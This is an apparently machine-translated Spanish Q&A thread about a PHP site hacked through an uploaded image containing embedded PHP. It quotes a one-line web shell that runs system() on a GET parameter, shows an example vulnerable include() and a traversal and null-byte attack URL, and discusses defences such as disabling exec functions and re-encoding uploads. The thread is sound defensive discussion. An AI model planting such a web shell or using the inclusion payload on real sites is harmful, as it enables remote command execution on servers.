2010-08-17 8 views
8

Ayer mi sitio estaba incluido. El atacante cambia el archivo index.php por el suyo (con todos sus mensajes de gloria y saludo). He notificado esto a la empresa de alojamiento (estamos trabajando en un servidor dedicado), y por mi parte, estoy tratando de arreglar cualquier cosa que parezca ser la causa, porque aún no puedo señalar cómo exactamente nuestro el servidor fue atacado, pero creo que he encontrado ciertas lagunas basadas en scripts que posiblemente podrían ser las culpables.Mi sitio php fue pirateado por códigos cargados como imagen ...?

Nuestro sitio tiene un formulario de carga de imágenes, pero todas las imágenes cargadas se verifican si realmente son archivos de imágenes y no algunos códigos mediante el uso de la función php getimagesize. Solo si el tipo de imagen es IMAGETYPE_GIF o IMAGETYPE_JPEG o IMAGETYPE_PNG serán aceptados. De lo contrario, no podrán subir el archivo. Sin embargo, descubrí que un archivo de imagen cargado contiene un script php dentro de él. Puede descargar la imagen here. Es un archivo de imagen válido, pero trate de abrir la imagen con cualquier editor de texto y encontrará un código php en su interior:

<?php 

echo "<pre>"; system($_GET['cmd']); echo "</pre>"; 

?> 

Por ejemplo, la imagen se carga en esta ubicación (www.mysite.com/uploads /picodes.jpg). Tenga en cuenta que el permiso de carga de carpetas es 755. ¿Hay alguna forma en el mundo en que el atacante pueda ejecutar el sistema (o cualquier otro comando como passthru, ya que descubrimos que otra imagen tiene el mismo código oculto que antes, pero en vez , tiene el comando passthru), por ejemplo, escribiendo www.mysite.com/uploads/picodes.jpg?cmd=some command ?? Por lo que sé, no se puede hacer (realmente lo aprecio si alguien puede probar que estoy equivocado), a menos que el atacante pueda cambiar el nombre del archivo jpg a php, e incluso eso, estos códigos están ocultos en el interior de la imagen (vea la imagen en el interior) editor de texto para entender lo que estoy tratando de decir)

Para precauciones, desactivé estas funciones php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system) agregándolas al disable_functions en php.ini.

De todos modos, sigo creyendo que el atacante obtiene acceso no a través de la web, sino a través del exploit del servidor, pero creo que mi empresa de hosting piensa lo contrario.

+0

Dependiendo de la configuración de su servidor, si su verificador de imágenes no verifica nombres de archivo, podría ser posible explotarlo, por ejemplo, si el atacante carga el archivo con un nombre que tiene una extensión '.php'. Pero eso es realmente una pregunta para Server Fault. ¿Eso es lo que quería saber? –

+0

Gracias por responder a David, pero como he mencionado anteriormente, todos los archivos cargados se verifican primero; solo si son archivos de imagen (gif, jpg o png) serán aceptados. De lo contrario, será descartado. Por lo tanto, cargar un archivo con la extensión .php o cualquier otro código sin formato con cualquier extensión seguramente fallará. – imin

+6

Bueno, dijiste que usa 'getimagesize' para verificar que la imagen sea una imagen, pero esa función _no revisa la extensión del archivo_. Solo mira el contenido del archivo. (Pruébalo: renombra 'picodes.jpg' a' picodes.php' y mira qué 'getimagesize (" picodes.php ")' te da). Por lo tanto, también debes verificar explícitamente el nombre con el que se está cargando el archivo, y asegúrese de que coincida con el tipo de imagen devuelto por 'getimagesize'. –

Respuesta

4

Los archivos JPEG pueden contener datos arbitrarios en ellos además de los datos de imagen reales; es parte de la especificación. Por lo tanto, simplemente verificar si una imagen es un archivo JPEG válido no significa que el archivo sea necesariamente completamente inofensivo.

+0

así que ¿cómo puedo comprobar si el archivo JPG es realmente inofensivo? ¿otro formato de imagen (png y gif) también puede contener datos arbitrarios? y al igual que mi pregunta anterior, incluso si logran cargar un archivo de imagen con códigos, ¿cómo van a ejecutarlo sin cambiar el nombre del archivo a php? – imin

+0

En realidad no hay una manera 100% para asegurarse de que cualquier archivo es inofensivo, es más que hay que eliminar otras posibilidades de ejecutar archivos (que en realidad no puedo darle tanta ayuda en, sobre todo sin saber los detalles del servidor preparar). – Amber

+0

hmm Muchas gracias ... supongo que tendré para convertir cualquier imagen subida a otros tipos (por ejemplo, si jpg después convertirlo a formato gif, gif a jpg, png a jpg) para eliminar cualquier códigos incrustados en su interior si los hay. De todos modos, nadie me va a responder cómo van a ejecutar los códigos dentro sin renombrar el archivo de imagen a php? – imin

5

El archivo de imagen con código PHP arbitrario no se puede explotar con una solicitud directa, p. Ej. http://www.mysite.com/uploads/image.jpg?cmd=somecode.

Aún así, se puede utilizar con la vulnerabilidad de inclusión de archivos locales.

Por ejemplo, en index.php utiliza include('pages/' . $_GET['page'] . '.php');, entonces atacante puede cargar una imagen con código PHP dentro y ejecutar comandos con Smth así: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: archivo cambiado en el URL a la página

+0

Bueno, entonces debería ser '' page' y no file' en la url;) – Shikiryu

+0

cheque http: //stackoverflow.com/questions/13272231/how-to-safely-prevent-uploaded-file-from-being-run-via-php-on-any-server para otros usos en servidores mal configurados de Windows. – regilero

2

Este puede no ser una vulnerabilidad en tu código. Me pasó lo mismo hace unas semanas. Aunque TODOS mis archivos index.php fueron eliminados, incluso aquellos que no son directamente accesibles desde la web. En mi caso, fue un agujero de seguridad en Linux. No tiene nada que ver con mi código. Esta fue la respuesta de mi proveedor de alojamiento (A2Hosting) con respecto al problema. Una vez que los convencí de que no era nada de lo que hice, resolvieron las cosas bastante rápido.

"Un exploit reciente en el kernel de Linux fue usado para otorgar acceso administrativo (raíz) a los directorios de los usuarios en el servidor .El ataque consistió en la eliminación de archivos de índice que se encuentran en directorios y su sustitución por el contenido deseado del atacante: Una página web negro con el nombre de código del atacante, "iSKORPiTX (Hacker turco)". Este truco fue masiva a través de Internet y utiliza una vulnerabilidad previamente desconocida , lo que limita nuestra capacidad para prevenir que "

2

Mi archivo de imagen hacia arriba-loader configuración son:. De carga de archivos a la carpeta temporal, crean NUEVO mediante imagecreatefromjpeg imagen o imagecreatefrompng o imagecreatefromgif y guardar, elimine el archivo cargado de la carpeta temp (todas estas cosas ocurriendo dentro de la misma acción del script, así que el archivo cargado en la carpeta temp no existe por mucho tiempo)

+0

¿Es esta la manera más segura de suponer? – ErickBest

+0

Esta es una opción bastante segura ya que el script elimina el archivo cargado en fracciones de segundo. – user424821

Cuestiones relacionadas